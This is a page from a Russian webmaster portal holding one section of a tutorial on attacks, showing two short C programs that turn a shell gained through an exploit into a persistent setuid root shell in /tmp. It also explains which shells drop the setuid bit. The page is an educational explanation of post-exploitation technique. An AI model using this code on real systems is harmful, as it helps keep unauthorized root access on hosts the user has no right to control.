П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 178150 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 75598 раз(а).

Учебник HTML.
Просмотров 74082 раз(а).

Руководство по PHP5.
Просмотров 45009 раз(а).

Хостинг через призму DNS.
Просмотров 51936 раз(а).

Подборка текстов стандартных документов.
Просмотров 45112 раз(а).

Учебник PHP - Самоучитель
Просмотров 51345 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 51796 раз(а).

Внешние атаки...
Просмотров 41938 раз(а).

Учебник PHP.
Просмотров 37281 раз(а).

SSI в примерах.
Просмотров 27849 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Проблемы с оболочкой

К сожалению, иногда полученая оболочка непригодна для работы, так как она завершает работу сама по себе или при нажатии клавиши. Мы используем следующую программу, чтобы сохранить привилегии, которые мы так тщательно приобретали:

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

Так как наш эксплоит может выполнить только одно задание за раз, мы сейчас будем передавать права, полученные от программы run_shell, при помощи программы set_run_shell. Затем, мы получим желаемую оболочку.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
Опция -i соответствует interactive - интерактивно. Почему мы не передаем права сразу оболочке? Только потому, что бит s не поддерживается всеми оболочками. Последние версии проверяют, равен ли uid euid, а gid egid. bash2 и tcsh включают в себя это средство защиты, но ни bash, ни ash не имеют его. Данный метод должен быть усовершенствован, если раздел, на котором расположен run_shell (здесь /tmp), смонтирован с опциями nosuid или noexec.

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru